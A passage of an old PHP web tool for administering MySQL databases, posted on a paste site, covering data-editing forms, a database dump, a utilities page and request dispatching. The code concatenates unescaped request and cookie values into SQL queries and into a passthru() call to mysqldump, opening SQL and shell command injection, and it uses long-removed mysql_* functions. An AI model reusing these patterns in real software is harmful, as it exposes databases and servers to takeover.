  782. echo "<option>PERIOD_DIFF\n";
  783. echo "<option>TO_DAYS\n";
  784. echo "<option>USER\n";
  785. echo "<option>WEEKDAY\n";
  786. echo "<option>RAND\n";
  787. echo "</select>\n";
  788. echo "</td>\n";
  789. $value = htmlspecialchars($data[$i]);
  790. if( $cmd == "add" ) {
  791. $type = strtok( $fieldtype, " (,)\n" );
  792. if( $type == "enum" || $type == "set" ) {
  793. echo "<td>\n";
  794. if( $type == "enum" )
  795. echo "<select name=$fieldname>\n";
  796. else if( $type == "set" )
  797. echo "<select name=$fieldname size=4 multiple>\n";
  798. echo strtok( "'" );
  799. while( $str = strtok( "'" ) ) {
  800. echo "<option>$str\n";
  801. strtok( "'" );
  802. }
  803. echo "</select>\n";
  804. echo "</td>\n";
  805. } else {
  806. if( $len < 40 )
  807. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  808. else
  809. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  810. }
  811. } else if( $cmd == "edit" ) {
  812. $type = strtok( $fieldtype, " (,)\n" );
  813. if( $type == "enum" || $type == "set" ) {
  814. echo "<td>\n";
  815. if( $type == "enum" )
  816. echo "<select name=$fieldname>\n";
  817. else if( $type == "set" )
  818. echo "<select name=$fieldname size=4 multiple>\n";
  819. echo strtok( "'" );
  820. while( $str = strtok( "'" ) ) {
  821. if( $value == $str )
  822. echo "<option selected>$str\n";
  823. else
  824. echo "<option>$str\n";
  825. strtok( "'" );
  826. }
  827. echo "</select>\n";
  828. echo "</td>\n";
  829. } else {
  830. if( $len < 40 )
  831. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  832. else
  833. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  834. }
  835. }
  836. echo "</tr>";
  837. }
  838. echo "</table><p>\n";
  839. if( $cmd == "add" )
  840. echo "<input type=submit value='Add Data'>\n";
  841. else if( $cmd == "edit" )
  842. echo "<input type=submit value='Edit Data'>\n";
  843. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  844. echo "</form>\n";
  845. }
  846.  
  847. function manageData_submit( $cmd ) {
  848. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  849.  
  850. $pResult = mysql_list_fields( $dbname, $tablename );
  851. $num = mysql_num_fields( $pResult );
  852.  
  853. mysql_select_db( $dbname, $mysqlHandle );
  854. if( $cmd == "add" )
  855. $queryStr = "INSERT INTO $tablename VALUES (";
  856. else if( $cmd == "edit" )
  857. $queryStr = "REPLACE INTO $tablename VALUES (";
  858. for( $i = 0; $i < $num-1; $i++ ) {
  859. $field = mysql_fetch_field( $pResult );
  860. $func = $GLOBALS[$field->name."_function"];
  861. if( $func != "" )
  862. $queryStr .= " $func(";
  863. if( $field->numeric == 1 ) {
  864. $queryStr .= $GLOBALS[$field->name];
  865. if( $func != "" )
  866. $queryStr .= "),";
  867. else
  868. $queryStr .= ",";
  869. } else {
  870. $queryStr .= "'" . $GLOBALS[$field->name];
  871. if( $func != "" )
  872. $queryStr .= "'),";
  873. else
  874. $queryStr .= "',";
  875. }
  876. }
  877. $field = mysql_fetch_field( $pResult );
  878. if( $field->numeric == 1 )
  879. $queryStr .= $GLOBALS[$field->name] . ")";
  880. else
  881. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  882.  
  883. mysql_query( $queryStr , $mysqlHandle );
  884. $errMsg = mysql_error();
  885.  
  886. viewData( "" );
  887. }
  888.  
  889. function deleteData() {
  890. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  891.  
  892. $pResult = mysql_list_fields( $dbname, $tablename );
  893. $num = mysql_num_fields( $pResult );
  894.  
  895. $key = "";
  896. for( $i = 0; $i < $num; $i++ ) {
  897. $field = mysql_fetch_field( $pResult, $i );
  898. if( $field->primary_key == 1 )
  899. if( $field->numeric == 1 )
  900. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  901. else
  902. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  903. }
  904. $key = substr( $key, 0, strlen($key)-4 );
  905.  
  906. mysql_select_db( $dbname, $mysqlHandle );
  907. $queryStr = "DELETE FROM $tablename WHERE $key";
  908. mysql_query( $queryStr, $mysqlHandle );
  909. $errMsg = mysql_error();
  910.  
  911. viewData( "" );
  912. }
  913.  
  914. function dump() {
  915. global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename;
  916.  
  917. if( $action == "dumpTable" )
  918. $filename = $tablename;
  919. else
  920. $filename = $dbname;
  921.  
  922. header("Content-disposition: filename=$filename.sql");
  923. header("Content-type: application/octetstream");
  924. header("Pragma: no-cache");
  925. header("Expires: 0");
  926.  
  927. $pResult = mysql_query( "show variables" );
  928. while( 1 ) {
  929. $rowArray = mysql_fetch_row( $pResult );
  930. if( $rowArray == false ) break;
  931. if( $rowArray[0] == "basedir" )
  932. $bindir = $rowArray[1]."bin/";
  933. }
  934.  
  935. passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" );
  936. }
  937.  
  938. function utils() {
  939. global $PHP_SELF, $command;
  940. echo "<h1>Utilities</h1>\n";
  941. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  942. echo "<hr>\n";
  943. echo "Show\n";
  944. echo "<ul>\n";
  945. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  946. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  947. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  948. echo "</ul>\n";
  949. echo "Flush\n";
  950. echo "<ul>\n";
  951. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  952. if( $command == "flush_hosts" ) {
  953. if( mysql_query( "Flush hosts" ) != false )
  954. echo "<font size=2 color=red>- Success</font>";
  955. else
  956. echo "<font size=2 color=red>- Fail</font>";
  957. }
  958. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  959. if( $command == "flush_logs" ) {
  960. if( mysql_query( "Flush logs" ) != false )
  961. echo "<font size=2 color=red>- Success</font>";
  962. else
  963. echo "<font size=2 color=red>- Fail</font>";
  964. }
  965. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  966. if( $command == "flush_privileges" ) {
  967. if( mysql_query( "Flush privileges" ) != false )
  968. echo "<font size=2 color=red>- Success</font>";
  969. else
  970. echo "<font size=2 color=red>- Fail</font>";
  971. }
  972. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  973. if( $command == "flush_tables" ) {
  974. if( mysql_query( "Flush tables" ) != false )
  975. echo "<font size=2 color=red>- Success</font>";
  976. else
  977. echo "<font size=2 color=red>- Fail</font>";
  978. }
  979. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  980. if( $command == "flush_status" ) {
  981. if( mysql_query( "Flush status" ) != false )
  982. echo "<font size=2 color=red>- Success</font>";
  983. else
  984. echo "<font size=2 color=red>- Fail</font>";
  985. }
  986. echo "</ul>\n";
  987. } else {
  988. $queryStr = ereg_replace( "_", " ", $command );
  989. $pResult = mysql_query( $queryStr );
  990. if( $pResult == false ) {
  991. echo "Fail";
  992. return;
  993. }
  994. $col = mysql_num_fields( $pResult );
  995.  
  996. echo "<p class=location>$queryStr</p>\n";
  997. echo "<hr>\n";
  998.  
  999. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1000. echo "<tr>\n";
  1001. for( $i = 0; $i < $col; $i++ ) {
  1002. $field = mysql_fetch_field( $pResult, $i );
  1003. echo "<th>".$field->name."</th>\n";
  1004. }
  1005. echo "</tr>\n";
  1006.  
  1007. while( 1 ) {
  1008. $rowArray = mysql_fetch_row( $pResult );
  1009. if( $rowArray == false ) break;
  1010. echo "<tr>\n";
  1011. for( $j = 0; $j < $col; $j++ )
  1012. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1013. echo "</tr>\n";
  1014. }
  1015. echo "</table>\n";
  1016. }
  1017. }
  1018.  
  1019. function header_html() {
  1020. global $PHP_SELF;
  1021.  
  1022. ?>
  1023. <html>
  1024. <head>
  1025. <title>MySQL Web Interface</title>
  1026. <style type="text/css">
  1027. <!--
  1028. p.location {
  1029. color: #FF6000;
  1030. font-size: small;
  1031. }
  1032. h1 {
  1033. color: #0090FF;
  1034. }
  1035. th {
  1036. background-color: #34A725;
  1037. color: #FFFFFF;
  1038. font-size: x-small;
  1039. }
  1040. td {
  1041. background-color: #5DB1FF;
  1042. font-size: x-small;
  1043. }
  1044. form {
  1045. margin-top: 0;
  1046. margin-bottom: 0;
  1047. }
  1048. a {
  1049. text-decoration:none;
  1050. color: #848200;
  1051. font-size:x-small;
  1052. }
  1053. a:link {
  1054. }
  1055. a:hover {
  1056. background-color:#EEEFD5;
  1057. color:#FF0000;
  1058. text-decoration:none
  1059. }
  1060. //-->
  1061. </style>
  1062. </head>
  1063. <body>
  1064. <?
  1065. }
  1066.  
  1067. function footer_html() {
  1068. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1069.  
  1070. echo "<hr>\n";
  1071. echo "<font size=2>\n";
  1072. echo "<font color=blue>[$USERNAME]</font> - \n";
  1073.  
  1074. echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
  1075. if( $tablename != "" )
  1076. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1077. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1078. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1079. echo "</font>\n";
  1080. echo "</body>\n";
  1081. echo "</html>\n";
  1082. }
  1083.  
  1084. //------------------------------------------------------ MAIN
  1085.  
  1086. if( $action == "logon" || $action == "" || $action == "logout" )
  1087. logon();
  1088. else if( $action == "logon_submit" )
  1089. logon_submit();
  1090. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1091. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1092. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1093. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1094. }
  1095. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1096. dump();
  1097. } else {
  1098. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1099. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1100. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1101. }
  1102. echo "<!--";
  1103. $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1104. echo "-->";
  1105.  
  1106. if( $mysqlHandle == false ) {
  1107. echo "<html>\n";
  1108. echo "<head>\n";
  1109. echo "<title>MySQL Web Interface</title>\n";
  1110. echo "</head>\n";
  1111. echo "<body>\n";
  1112. echo "<table width=100% height=100%><tr><td><center>\n";
  1113. echo "<h1>Wrong Password!</h1>\n";
  1114. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1115. echo "</center></td></tr></table>\n";
  1116. echo "</body>\n";
  1117. echo "</html>\n";
  1118. } else {
  1119. header_html();
  1120. if( $action == "listDBs" )
  1121. listDatabases();
  1122. else if( $action == "createDB" )
  1123. createDatabase();
  1124. else if( $action == "dropDB" )
  1125. dropDatabase();
  1126. else if( $action == "listTables" )
  1127. listTables();
  1128. else if( $action == "createTable" )
  1129. createTable();
  1130. else if( $action == "dropTable" )
  1131. dropTable();
  1132. else if( $action == "viewSchema" )
  1133. viewSchema();
  1134. else if( $action == "query" )
  1135. viewData( $queryStr );
  1136. else if( $action == "addField" )
  1137. manageField( "add" );
  1138. else if( $action == "addField_submit" )
  1139. manageField_submit( "add" );
  1140. else if( $action == "editField" )
  1141. manageField( "edit" );
  1142. else if( $action == "editField_submit" )
  1143. manageField_submit( "edit" );
  1144. else if( $action == "dropField" )
  1145. dropField();
  1146. else if( $action == "viewData" )
  1147. viewData( "" );
  1148. else if( $action == "addData" )
  1149. manageData( "add" );
  1150. else if( $action == "addData_submit" )
  1151. manageData_submit( "add" );
  1152. else if( $action == "editData" )
  1153. manageData( "edit" );
  1154. else if( $action == "editData_submit" )
  1155. manageData_submit( "edit" );
  1156. else if( $action == "deleteData" )
  1157. deleteData();
  1158. else if( $action == "utils" )
  1159. utils();
  1160.  
  1161. mysql_close( $mysqlHandle);
  1162. footer_html();
  1163. }
  1164. }
  1165.  
  1166. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement